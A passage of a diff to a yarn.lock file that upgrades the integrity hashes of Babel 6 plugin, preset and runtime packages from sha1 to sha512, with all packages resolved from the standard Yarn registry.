+  integrity sha512-Z/flU+T9ta0aIEKl1tGEmN/pZiI1uXmCiGFRegKacQfEJzp7iNsKloZmyJlQr+75FCJtiFfGIK03SiCvCt9cPQ==
 
 babel-plugin-syntax-flow@^6.18.0:
   version "6.18.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-syntax-flow/-/babel-plugin-syntax-flow-6.18.0.tgz#4c3ab20a2af26aa20cd25995c398c4eb70310c8d"
-  integrity sha1-TDqyCiryaqIM0lmVw5jE63AxDI0=
+  integrity sha512-HbTDIoG1A1op7Tl/wIFQPULIBA61tsJ8Ntq2FAhLwuijrzosM/92kAfgU1Q3Kc7DH/cprJg5vDfuTY4QUL4rDA==
 
 babel-plugin-syntax-jsx@^6.3.13, babel-plugin-syntax-jsx@^6.8.0:
   version "6.18.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz#0af32a9a6e13ca7a3fd5069e62d7b0f58d0d8946"
-  integrity sha1-CvMqmm4Tyno/1QaeYtew9Y0NiUY=
+  integrity sha512-qrPaCSo9c8RHNRHIotaufGbuOBN8rtdC4QrrFFc43vyWCCz7Kl7GL1PGaXtMGQZUXrkCjNEgxDfmAuAabr/rlw==
 
 babel-plugin-syntax-object-rest-spread@^6.13.0, babel-plugin-syntax-object-rest-spread@^6.8.0:
   version "6.13.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-syntax-object-rest-spread/-/babel-plugin-syntax-object-rest-spread-6.13.0.tgz#fd6536f2bce13836ffa3a5458c4903a597bb3bf5"
-  integrity sha1-/WU28rzhODb/o6VFjEkDpZe7O/U=
+  integrity sha512-C4Aq+GaAj83pRQ0EFgTvw5YO6T3Qz2KGrNRwIj9mSoNHVvdZY4KO2uA6HNtNXCw993iSZnckY1aLW8nOi8i4+w==
 
 babel-plugin-syntax-trailing-function-commas@^6.22.0:
   version "6.22.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-syntax-trailing-function-commas/-/babel-plugin-syntax-trailing-function-commas-6.22.0.tgz#ba0360937f8d06e40180a43fe0d5616fff532cf3"
-  integrity sha1-ugNgk3+NBuQBgKQ/4NVhb/9TLPM=
+  integrity sha512-Gx9CH3Q/3GKbhs07Bszw5fPTlU+ygrOGfAhEt7W2JICwufpC4SuO0mG0+4NykPBSYPMJhqvVlDBU17qB1D+hMQ==
 
 babel-plugin-transform-async-to-generator@^6.22.0:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-async-to-generator/-/babel-plugin-transform-async-to-generator-6.24.1.tgz#6536e378aff6cb1d5517ac0e40eb3e9fc8d08761"
-  integrity sha1-ZTbjeK/2yx1VF6wOQOs+n8jQh2E=
+  integrity sha512-7BgYJujNCg0Ti3x0c/DL3tStvnKS6ktIYOmo9wginv/dfZOrbSZ+qG4IRRHMBOzZ5Awb1skTiAsQXg/+IWkZYw==
   dependencies:
     babel-helper-remap-async-to-generator "^6.24.1"
     babel-plugin-syntax-async-functions "^6.8.0"
@@ -745,7 +781,7 @@ babel-plugin-transform-async-to-generator@^6.22.0:
 babel-plugin-transform-class-properties@6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-class-properties/-/babel-plugin-transform-class-properties-6.24.1.tgz#6a79763ea61d33d36f37b611aa9def81a81b46ac"
-  integrity sha1-anl2PqYdM9NvN7YRqp3vgagbRqw=
+  integrity sha512-n4jtBA3OYBdvG5PRMKsMXJXHfLYw/ZOmtxCLOOwz6Ro5XlrColkStLnz1AS1L2yfPA9BKJ1ZNlmVCLjAL9DSIg==
   dependencies:
     babel-helper-function-name "^6.24.1"
     babel-plugin-syntax-class-properties "^6.8.0"
@@ -755,21 +791,21 @@ babel-plugin-transform-class-properties@6.24.1:
 babel-plugin-transform-es2015-arrow-functions@^6.22.0:
   version "6.22.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-arrow-functions/-/babel-plugin-transform-es2015-arrow-functions-6.22.0.tgz#452692cb711d5f79dc7f85e440ce41b9f244d221"
-  integrity sha1-RSaSy3EdX3ncf4XkQM5BufJE0iE=
+  integrity sha512-PCqwwzODXW7JMrzu+yZIaYbPQSKjDTAsNNlK2l5Gg9g4rz2VzLnZsStvp/3c46GfXpwkyufb3NCyG9+50FF1Vg==
   dependencies:
     babel-runtime "^6.22.0"
 
 babel-plugin-transform-es2015-block-scoped-functions@^6.22.0:
   version "6.22.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-block-scoped-functions/-/babel-plugin-transform-es2015-block-scoped-functions-6.22.0.tgz#bbc51b49f964d70cb8d8e0b94e820246ce3a6141"
-  integrity sha1-u8UbSflk1wy42OC5ToICRs46YUE=
+  integrity sha512-2+ujAT2UMBzYFm7tidUsYh+ZoIutxJ3pN9IYrF1/H6dCKtECfhmB8UkHVpyxDwkj0CYbQG35ykoz925TUnBc3A==
   dependencies:
     babel-runtime "^6.22.0"
 
 babel-plugin-transform-es2015-block-scoping@^6.23.0:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-block-scoping/-/babel-plugin-transform-es2015-block-scoping-6.26.0.tgz#d70f5299c1308d05c12f463813b0a09e73b1895f"
-  integrity sha1-1w9SmcEwjQXBL0Y4E7CgnnOxiV8=
+  integrity sha512-YiN6sFAQ5lML8JjCmr7uerS5Yc/EMbgg9G8ZNmk2E3nYX4ckHR01wrkeeMijEf5WHNK5TW0Sl0Uu3pv3EdOJWw==
   dependencies:
     babel-runtime "^6.26.0"
     babel-template "^6.26.0"
@@ -780,7 +816,7 @@ babel-plugin-transform-es2015-block-scoping@^6.23.0:
 babel-plugin-transform-es2015-classes@^6.23.0:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-classes/-/babel-plugin-transform-es2015-classes-6.24.1.tgz#5a4c58a50c9c9461e564b4b2a3bfabc97a2584db"
-  integrity sha1-WkxYpQyclGHlZLSyo7+ryXolhNs=
+  integrity sha512-5Dy7ZbRinGrNtmWpquZKZ3EGY8sDgIVB4CU8Om8q8tnMLrD/m94cKglVcHps0BCTdZ0TJeeAWOq2TK9MIY6cag==
   dependencies:
     babel-helper-define-map "^6.24.1"
     babel-helper-function-name "^6.24.1"
@@ -795,7 +831,7 @@ babel-plugin-transform-es2015-classes@^6.23.0:
 babel-plugin-transform-es2015-computed-properties@^6.22.0:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-computed-properties/-/babel-plugin-transform-es2015-computed-properties-6.24.1.tgz#6fe2a8d16895d5634f4cd999b6d3480a308159b3"
-  integrity sha1-b+Ko0WiV1WNPTNmZttNICjCBWbM=
+  integrity sha512-C/uAv4ktFP/Hmh01gMTvYvICrKze0XVX9f2PdIXuriCSvUmV9j+u+BB9f5fJK3+878yMK6dkdcq+Ymr9mrcLzw==
   dependencies:
     babel-runtime "^6.22.0"
     babel-template "^6.24.1"
@@ -803,14 +839,14 @@ babel-plugin-transform-es2015-computed-properties@^6.22.0:
 babel-plugin-transform-es2015-destructuring@6.23.0, babel-plugin-transform-es2015-destructuring@^6.23.0:
   version "6.23.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-destructuring/-/babel-plugin-transform-es2015-destructuring-6.23.0.tgz#997bb1f1ab967f682d2b0876fe358d60e765c56d"
-  integrity sha1-mXux8auWf2gtKwh2/jWNYOdlxW0=
+  integrity sha512-aNv/GDAW0j/f4Uy1OEPZn1mqD+Nfy9viFGBfQ5bZyT35YqOiqx7/tXdyfZkJ1sC21NyEsBdfDY6PYmLHF4r5iA==
   dependencies:
     babel-runtime "^6.22.0"
 
 babel-plugin-transform-es2015-duplicate-keys@^6.22.0:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-duplicate-keys/-/babel-plugin-transform-es2015-duplicate-keys-6.24.1.tgz#73eb3d310ca969e3ef9ec91c53741a6f1576423e"
-  integrity sha1-c+s9MQypaePvnskcU3QabxV2Qj4=
+  integrity sha512-ossocTuPOssfxO2h+Z3/Ea1Vo1wWx31Uqy9vIiJusOP4TbF7tPs9U0sJ9pX9OJPf4lXRGj5+6Gkl/HHKiAP5ug==
   dependencies:
     babel-runtime "^6.22.0"
     babel-types "^6.24.1"
@@ -818,14 +854,14 @@ babel-plugin-transform-es2015-duplicate-keys@^6.22.0:
 babel-plugin-transform-es2015-for-of@^6.23.0:
   version "6.23.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-for-of/-/babel-plugin-transform-es2015-for-of-6.23.0.tgz#f47c95b2b613df1d3ecc2fdb7573623c75248691"
-  integrity sha1-9HyVsrYT3x0+zC/bdXNiPHUkhpE=
+  integrity sha512-DLuRwoygCoXx+YfxHLkVx5/NpeSbVwfoTeBykpJK7JhYWlL/O8hgAK/reforUnZDlxasOrVPPJVI/guE3dCwkw==
   dependencies:
     babel-runtime "^6.22.0"
 
 babel-plugin-transform-es2015-function-name@^6.22.0:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-function-name/-/babel-plugin-transform-es2015-function-name-6.24.1.tgz#834c89853bc36b1af0f3a4c5dbaa94fd8eacaa8b"
-  integrity sha1-g0yJhTvDaxrw86TF26qU/Y6sqos=
+  integrity sha512-iFp5KIcorf11iBqu/y/a7DK3MN5di3pNCzto61FqCNnUX4qeBwcV1SLqe10oXNnCaxBUImX3SckX2/o1nsrTcg==
   dependencies:
     babel-helper-function-name "^6.24.1"
     babel-runtime "^6.22.0"
@@ -834,14 +870,14 @@ babel-plugin-transform-es2015-function-name@^6.22.0:
 babel-plugin-transform-es2015-literals@^6.22.0:
   version "6.22.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-literals/-/babel-plugin-transform-es2015-literals-6.22.0.tgz#4f54a02d6cd66cf915280019a31d31925377ca2e"
-  integrity sha1-T1SgLWzWbPkVKAAZox0xklN3yi4=
+  integrity sha512-tjFl0cwMPpDYyoqYA9li1/7mGFit39XiNX5DKC/uCNjBctMxyL1/PT/l4rSlbvBG1pOKI88STRdUsWXB3/Q9hQ==
   dependencies:
     babel-runtime "^6.22.0"
 
 babel-plugin-transform-es2015-modules-amd@^6.22.0, babel-plugin-transform-es2015-modules-amd@^6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-modules-amd/-/babel-plugin-transform-es2015-modules-amd-6.24.1.tgz#3b3e54017239842d6d19c3011c4bd2f00a00d154"
-  integrity sha1-Oz5UAXI5hC1tGcMBHEvS8AoA0VQ=
+  integrity sha512-LnIIdGWIKdw7zwckqx+eGjcS8/cl8D74A3BpJbGjKTFFNJSMrjN4bIh22HY1AlkUbeLG6X6OZj56BDvWD+OeFA==
   dependencies:
     babel-plugin-transform-es2015-modules-commonjs "^6.24.1"
     babel-runtime "^6.22.0"
@@ -860,7 +896,7 @@ babel-plugin-transform-es2015-modules-commonjs@^6.23.0, babel-plugin-transform-e
 babel-plugin-transform-es2015-modules-systemjs@^6.23.0:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-modules-systemjs/-/babel-plugin-transform-es2015-modules-systemjs-6.24.1.tgz#ff89a142b9119a906195f5f106ecf305d9407d23"
-  integrity sha1-/4mhQrkRmpBhlfXxBuzzBdlAfSM=
+  integrity sha512-ONFIPsq8y4bls5PPsAWYXH/21Hqv64TBxdje0FvU3MhIV6QM2j5YS7KvAzg/nTIVLot2D2fmFQrFWCbgHlFEjg==
   dependencies:
     babel-helper-hoist-variables "^6.24.1"
     babel-runtime "^6.22.0"
@@ -869,7 +905,7 @@ babel-plugin-transform-es2015-modules-systemjs@^6.23.0:
 babel-plugin-transform-es2015-modules-umd@^6.23.0:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-modules-umd/-/babel-plugin-transform-es2015-modules-umd-6.24.1.tgz#ac997e6285cd18ed6176adb607d602344ad38468"
-  integrity sha1-rJl+YoXNGO1hdq22B9YCNErThGg=
+  integrity sha512-LpVbiT9CLsuAIp3IG0tfbVo81QIhn6pE8xBJ7XSeCtFlMltuar5VuBV6y6Q45tpui9QWcy5i0vLQfCfrnF7Kiw==
   dependencies:
     babel-plugin-transform-es2015-modules-amd "^6.24.1"
     babel-runtime "^6.22.0"
@@ -878,7 +914,7 @@ babel-plugin-transform-es2015-modules-umd@^6.23.0:
 babel-plugin-transform-es2015-object-super@^6.22.0:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-object-super/-/babel-plugin-transform-es2015-object-super-6.24.1.tgz#24cef69ae21cb83a7f8603dad021f572eb278f8d"
-  integrity sha1-JM72muIcuDp/hgPa0CH1cusnj40=
+  integrity sha512-8G5hpZMecb53vpD3mjs64NhI1au24TAmokQ4B+TBFBjN9cVoGoOvotdrMMRmHvVZUEvqGUPWL514woru1ChZMA==
   dependencies:
     babel-helper-replace-supers "^6.24.1"
     babel-runtime "^6.22.0"
@@ -886,7 +922,7 @@ babel-plugin-transform-es2015-object-super@^6.22.0:
 babel-plugin-transform-es2015-parameters@^6.23.0:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-parameters/-/babel-plugin-transform-es2015-parameters-6.24.1.tgz#57ac351ab49caf14a97cd13b09f66fdf0a625f2b"
-  integrity sha1-V6w1GrScrxSpfNE7CfZv3wpiXys=
+  integrity sha512-8HxlW+BB5HqniD+nLkQ4xSAVq3bR/pcYW9IigY+2y0dI+Y7INFeTbfAQr+63T3E4UDsZGjyb+l9txUnABWxlOQ==
   dependencies:
     babel-helper-call-delegate "^6.24.1"
     babel-helper-get-function-arity "^6.24.1"
@@ -898,7 +934,7 @@ babel-plugin-transform-es2015-parameters@^6.23.0:
 babel-plugin-transform-es2015-shorthand-properties@^6.22.0:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-shorthand-properties/-/babel-plugin-transform-es2015-shorthand-properties-6.24.1.tgz#24f875d6721c87661bbd99a4622e51f14de38aa0"
-  integrity sha1-JPh11nIch2YbvZmkYi5R8U3jiqA=
+  integrity sha512-mDdocSfUVm1/7Jw/FIRNw9vPrBQNePy6wZJlR8HAUBLybNp1w/6lr6zZ2pjMShee65t/ybR5pT8ulkLzD1xwiw==
   dependencies:
     babel-runtime "^6.22.0"
     babel-types "^6.24.1"
@@ -906,14 +942,14 @@ babel-plugin-transform-es2015-shorthand-properties@^6.22.0:
 babel-plugin-transform-es2015-spread@^6.22.0:
   version "6.22.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-spread/-/babel-plugin-transform-es2015-spread-6.22.0.tgz#d6d68a99f89aedc4536c81a542e8dd9f1746f8d1"
-  integrity sha1-1taKmfia7cRTbIGlQujdnxdG+NE=
+  integrity sha512-3Ghhi26r4l3d0Js933E5+IhHwk0A1yiutj9gwvzmFbVV0sPMYk2lekhOufHBswX7NCoSeF4Xrl3sCIuSIa+zOg==
   dependencies:
     babel-runtime "^6.22.0"
 
 babel-plugin-transform-es2015-sticky-regex@^6.22.0:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-sticky-regex/-/babel-plugin-transform-es2015-sticky-regex-6.24.1.tgz#00c1cdb1aca71112cdf0cf6126c2ed6b457ccdbc"
-  integrity sha1-AMHNsaynERLN8M9hJsLta0V8zbw=
+  integrity sha512-CYP359ADryTo3pCsH0oxRo/0yn6UsEZLqYohHmvLQdfS9xkf+MbCzE3/Kolw9OYIY4ZMilH25z/5CbQbwDD+lQ==
   dependencies:
     babel-helper-regex "^6.24.1"
     babel-runtime "^6.22.0"
@@ -922,21 +958,21 @@ babel-plugin-transform-es2015-sticky-regex@^6.22.0:
 babel-plugin-transform-es2015-template-literals@^6.22.0:
   version "6.22.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-template-literals/-/babel-plugin-transform-es2015-template-literals-6.22.0.tgz#a84b3450f7e9f8f1f6839d6d687da84bb1236d8d"
-  integrity sha1-qEs0UPfp+PH2g51taH2oS7EjbY0=
+  integrity sha512-x8b9W0ngnKzDMHimVtTfn5ryimars1ByTqsfBDwAqLibmuuQY6pgBQi5z1ErIsUOWBdw1bW9FSz5RZUojM4apg==
   dependencies:
     babel-runtime "^6.22.0"
 
 babel-plugin-transform-es2015-typeof-symbol@^6.23.0:
   version "6.23.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-typeof-symbol/-/babel-plugin-transform-es2015-typeof-symbol-6.23.0.tgz#dec09f1cddff94b52ac73d505c84df59dcceb372"
-  integrity sha1-3sCfHN3/lLUqxz1QXITfWdzOs3I=
+  integrity sha512-fz6J2Sf4gYN6gWgRZaoFXmq93X+Li/8vf+fb0sGDVtdeWvxC9y5/bTD7bvfWMEq6zetGEHpWjtzRGSugt5kNqw==
   dependencies:
     babel-runtime "^6.22.0"
 
 babel-plugin-transform-es2015-unicode-regex@^6.22.0:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-unicode-regex/-/babel-plugin-transform-es2015-unicode-regex-6.24.1.tgz#d38b12f42ea7323f729387f18a7c5ae1faeb35e9"
-  integrity sha1-04sS9C6nMj9yk4fxinxa4frrNek=
+  integrity sha512-v61Dbbihf5XxnYjtBN04B/JBvsScY37R1cZT5r9permN1cp+b70DY3Ib3fIkgn1DI9U3tGgBJZVD8p/mE/4JbQ==
   dependencies:
     babel-helper-regex "^6.24.1"
     babel-runtime "^6.22.0"
@@ -945,7 +981,7 @@ babel-plugin-transform-es2015-unicode-regex@^6.22.0:
 babel-plugin-transform-exponentiation-operator@^6.22.0:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-exponentiation-operator/-/babel-plugin-transform-exponentiation-operator-6.24.1.tgz#2ab0c9c7f3098fa48907772bb813fe41e8de3a0e"
-  integrity sha1-KrDJx/MJj6SJB3cruBP+QejeOg4=
+  integrity sha512-LzXDmbMkklvNhprr20//RStKVcT8Cu+SQtX18eMHLhjHf2yFzwtQ0S2f0jQ+89rokoNdmwoSqYzAhq86FxlLSQ==
   dependencies:
     babel-helper-builder-binary-assignment-operator-visitor "^6.24.1"
     babel-plugin-syntax-exponentiation-operator "^6.8.0"
@@ -954,7 +990,7 @@ babel-plugin-transform-exponentiation-operator@^6.22.0:
 babel-plugin-transform-flow-strip-types@^6.22.0:
   version "6.22.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-flow-strip-types/-/babel-plugin-transform-flow-strip-types-6.22.0.tgz#84cb672935d43714fdc32bce84568d87441cf7cf"
-  integrity sha1-hMtnKTXUNxT9wyvOhFaNh0Qc988=
+  integrity sha512-TxIM0ZWNw9oYsoTthL3lvAK3+eTujzktoXJg4ubGvICGbVuXVYv5hHv0XXpz8fbqlJaGYY4q5SVzaSmsg3t4Fg==
   dependencies:
     babel-plugin-syntax-flow "^6.18.0"
     babel-runtime "^6.22.0"
@@ -962,7 +998,7 @@ babel-plugin-transform-flow-strip-types@^6.22.0:
 babel-plugin-transform-object-rest-spread@6.26.0:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-object-rest-spread/-/babel-plugin-transform-object-rest-spread-6.26.0.tgz#0f36692d50fef6b7e2d4b3ac1478137a963b7b06"
-  integrity sha1-DzZpLVD+9rfi1LOsFHgTepY7ewY=
+  integrity sha512-ocgA9VJvyxwt+qJB0ncxV8kb/CjfTcECUY4tQ5VT7nP6Aohzobm8CDFaQ5FHdvZQzLmf0sgDxB8iRXZXxwZcyA==
   dependencies:
     babel-plugin-syntax-object-rest-spread "^6.8.0"
     babel-runtime "^6.26.0"
@@ -970,21 +1006,21 @@ babel-plugin-transform-object-rest-spread@6.26.0:
 babel-plugin-transform-react-constant-elements@6.23.0:
   version "6.23.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-react-constant-elements/-/babel-plugin-transform-react-constant-elements-6.23.0.tgz#2f119bf4d2cdd45eb9baaae574053c604f6147dd"
-  integrity sha1-LxGb9NLN1F65uqrldAU8YE9hR90=
+  integrity sha512-22TG15ONh0FWXj98Y5KOpMmEfDIMJa66rg58LzxssT0LUEFN8utkM1NmBEBx1WKkJFa6spK9aR4yLbDQntPxhg==
   dependencies:
     babel-runtime "^6.22.0"
 
 babel-plugin-transform-react-display-name@^6.23.0:
   version "6.25.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-react-display-name/-/babel-plugin-transform-react-display-name-6.25.0.tgz#67e2bf1f1e9c93ab08db96792e05392bf2cc28d1"
-  integrity sha1-Z+K/Hx6ck6sI25Z5LgU5K/LMKNE=
+  integrity sha512-QLYkLiZeeED2PKd4LuXGg5y9fCgPB5ohF8olWUuETE2ryHNRqqnXlEVP7RPuef89+HTfd3syptMGVHeoAu0Wig==
   dependencies:
     babel-runtime "^6.22.0"
 
 babel-plugin-transform-react-jsx-self@6.22.0, babel-plugin-transform-react-jsx-self@^6.22.0:
   version "6.22.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-react-jsx-self/-/babel-plugin-transform-react-jsx-self-6.22.0.tgz#df6d80a9da2612a121e6ddd7558bcbecf06e636e"
-  integrity sha1-322AqdomEqEh5t3XVYvL7PBuY24=
+  integrity sha512-Y3ZHP1nunv0U1+ysTNwLK39pabHj6cPVsfN4TRC7BDBfbgbyF4RifP5kd6LnbuMV9wcfedQMe7hn1fyKc7IzTQ==
   dependencies:
     babel-plugin-syntax-jsx "^6.8.0"
     babel-runtime "^6.22.0"
@@ -992,7 +1028,7 @@ babel-plugin-transform-react-jsx-self@6.22.0, babel-plugin-transform-react-jsx-s
 babel-plugin-transform-react-jsx-source@6.22.0, babel-plugin-transform-react-jsx-source@^6.22.0:
   version "6.22.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-react-jsx-source/-/babel-plugin-transform-react-jsx-source-6.22.0.tgz#66ac12153f5cd2d17b3c19268f4bf0197f44ecd6"
-  integrity sha1-ZqwSFT9c0tF7PBkmj0vwGX9E7NY=
+  integrity sha512-pcDNDsZ9q/6LJmujQ/OhjeoIlp5Nl546HJ2yiFIJK3mYpgNXhI5/S9mXfVxu5yqWAi7HdI7e/q6a9xtzwL69Vw==
   dependencies:
     babel-plugin-syntax-jsx "^6.8.0"
     babel-runtime "^6.22.0"
@@ -1000,7 +1036,7 @@ babel-plugin-transform-react-jsx-source@6.22.0, babel-plugin-transform-react-jsx
 babel-plugin-transform-react-jsx@6.24.1, babel-plugin-transform-react-jsx@^6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-react-jsx/-/babel-plugin-transform-react-jsx-6.24.1.tgz#840a028e7df460dfc3a2d29f0c0d91f6376e66a3"
-  integrity sha1-hAoCjn30YN/DotKfDA2R9jduZqM=
+  integrity sha512-s+q/Y2u2OgDPHRuod3t6zyLoV8pUHc64i/O7ZNgIOEdYTq+ChPeybcKBi/xk9VI60VriILzFPW+dUxAEbTxh2w==
   dependencies:
     babel-helper-builder-react-jsx "^6.24.1"
     babel-plugin-syntax-jsx "^6.8.0"
@@ -1009,21 +1045,21 @@ babel-plugin-transform-react-jsx@6.24.1, babel-plugin-transform-react-jsx@^6.24.
 babel-plugin-transform-regenerator@6.26.0, babel-plugin-transform-regenerator@^6.22.0:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-regenerator/-/babel-plugin-transform-regenerator-6.26.0.tgz#e0703696fbde27f0a3efcacf8b4dca2f7b3a8f2f"
-  integrity sha1-4HA2lvveJ/Cj78rPi03KL3s6jy8=
+  integrity sha512-LS+dBkUGlNR15/5WHKe/8Neawx663qttS6AGqoOUhICc9d1KciBvtrQSuc0PI+CxQ2Q/S1aKuJ+u64GtLdcEZg==
   dependencies:
     regenerator-transform "^0.10.0"
 
 babel-plugin-transform-runtime@6.23.0:
   version "6.23.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-runtime/-/babel-plugin-transform-runtime-6.23.0.tgz#88490d446502ea9b8e7efb0fe09ec4d99479b1ee"
-  integrity sha1-iEkNRGUC6puOfvsP4J7E2ZR5se4=
+  integrity sha512-cpGMVC1vt/772y3jx1gwSaTitQVZuFDlllgreMsZ+rTYC6jlYXRyf5FQOgSnckOiA5QmzbXTyBY2A5AmZXF1fA==
   dependencies:
     babel-runtime "^6.22.0"
 
 babel-plugin-transform-strict-mode@^6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-plugin-transform-strict-mode/-/babel-plugin-transform-strict-mode-6.24.1.tgz#d5faf7aa578a65bbe591cf5edae04a0c67020758"
-  integrity sha1-1fr3qleKZbvlkc9e2uBKDGcCB1g=
+  integrity sha512-j3KtSpjyLSJxNoCDrhwiJad8kw0gJ9REGj8/CqL0HeRyLnvUNYV9zcqluL6QJSXh3nfsLEmSLvwRfGzrgR96Pw==
   dependencies:
     babel-runtime "^6.22.0"
     babel-types "^6.24.1"
@@ -1067,14 +1103,14 @@ babel-preset-env@1.6.1:
 babel-preset-flow@^6.23.0:
   version "6.23.0"
   resolved "https://registry.yarnpkg.com/babel-preset-flow/-/babel-preset-flow-6.23.0.tgz#e71218887085ae9a24b5be4169affb599816c49d"
-  integrity sha1-5xIYiHCFrpoktb5Baa/7WZgWxJ0=
+  integrity sha512-PQZFJXnM3d80Vq4O67OE6EMVKIw2Vmzy8UXovqulNogCtblWU8rzP7Sm5YgHiCg4uejUxzCkHfNXQ4Z6GI+Dhw==
   dependencies:
     babel-plugin-transform-flow-strip-types "^6.22.0"
 
 babel-preset-jest@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/babel-preset-jest/-/babel-preset-jest-20.0.3.tgz#cbacaadecb5d689ca1e1de1360ebfc66862c178a"
-  integrity sha1-y6yq3stdaJyh4d4TYOv8ZoYsF4o=
+  integrity sha512-qeYOCuriyIDRKDE/dByN/yCc/przV2LdHbxldeSsjOr1khQi2o2CzrHXUQM7dSWfmqwxTifznw+bNg59kkI18w==
   dependencies:
     babel-plugin-jest-hoist "^20.0.3"
 
@@ -1100,7 +1136,7 @@ babel-preset-react-app@^3.1.2:
 babel-preset-react@6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-preset-react/-/babel-preset-react-6.24.1.tgz#ba69dfaea45fc3ec639b6a4ecea6e17702c91380"
-  integrity sha1-umnfrqRfw+xjm2pOzqbhdwLJE4A=
+  integrity sha512-phQe3bElbgF887UM0Dhz55d22ob8czTL1kbhZFwpCE6+R/X9kHktfwmx9JZb+bBSVRGphP5tZ9oWhVhlgjrX3Q==
   dependencies:
     babel-plugin-syntax-jsx "^6.3.13"
     babel-plugin-transform-react-display-name "^6.23.0"
@@ -1112,7 +1148,7 @@ babel-preset-react@6.24.1:
 babel-register@^6.26.0:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-register/-/babel-register-6.26.0.tgz#6ed021173e2fcb486d7acb45c6009a856f647071"
-  integrity sha1-btAhFz4vy0htestFxgCahW9kcHE=
+  integrity sha512-veliHlHX06wjaeY8xNITbveXSiI+ASFnOqvne/LaIJIqOWi2Ogmj91KOugEz/hoh/fwMhXNBJPCv8Xaz5CyM4A==
   dependencies:
     babel-core "^6.26.0"
     babel-runtime "^6.26.0"
@@ -1125,7 +1161,7 @@ babel-register@^6.26.0:
 babel-runtime@6.26.0, babel-runtime@^6.18.0, babel-runtime@^6.22.0, babel-runtime@^6.26.0:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-runtime/-/babel-runtime-6.26.0.tgz#965c7058668e82b55d7bfe04ff2337bc8b5647fe"
-  integrity sha1-llxwWGaOgrVde/4E/yM3vItWR/4=
+  integrity sha512-ITKNuq2wKlW1fJg9sSW52eepoYgZBggvOAHC0u/CYu/qxQ9EVzThCgR69BnSXLHjy2f7SY5zaQ4yt7H9ZVxY2g==
   dependencies:
     core-js "^2.4.0"
     regenerator-runtime "^0.11.0"
@@ -1133,7 +1169,7 @@ babel-runtime@6.26.0, babel-runtime@^6.18.0, babel-runtime@^6.22.0, babel-runtim
 babel-template@^6.16.0, babel-template@^6.24.1, babel-template@^6.26.0:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-template/-/babel-template-6.26.0.tgz#de03e2d16396b069f46dd9fff8521fb1a0e35e02"
-  integrity sha1-3gPi0WOWsGn0bdn/+FIfsaDjXgI=
+  integrity sha512-PCOcLFW7/eazGUKIoqH97sO9A2UYMahsn/yRQ7uOk37iutwjq7ODtcTNF+iFDSHNfkctqsLRjLP7URnOx0T1fg==
   dependencies:
     babel-runtime "^6.26.0"
     babel-traverse "^6.26.0"
@@ -1144,7 +1180,7 @@ babel-template@^6.16.0, babel-template@^6.24.1, babel-template@^6.26.0:
 babel-traverse@^6.18.0, babel-traverse@^6.23.1, babel-traverse@^6.24.1, babel-traverse@^6.26.0:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-traverse/-/babel-traverse-6.26.0.tgz#46a9cbd7edcc62c8e5c064e2d2d8d0f4035766ee"
-  integrity sha1-RqnL1+3MYsjlwGTi0tjQ9ANXZu4=
+  integrity sha512-iSxeXx7apsjCHe9c7n8VtRXGzI2Bk1rBSOJgCCjfyXb6v1aCqE1KSEpq/8SXuVN8Ka/Rh1WDTF0MDzkvTA4MIA==
   dependencies:
     babel-code-frame "^6.26.0"
     babel-messages "^6.23.0"
@@ -1159,7 +1195,7 @@ babel-traverse@^6.18.0, babel-traverse@^6.23.1, babel-traverse@^6.24.1, babel-tr
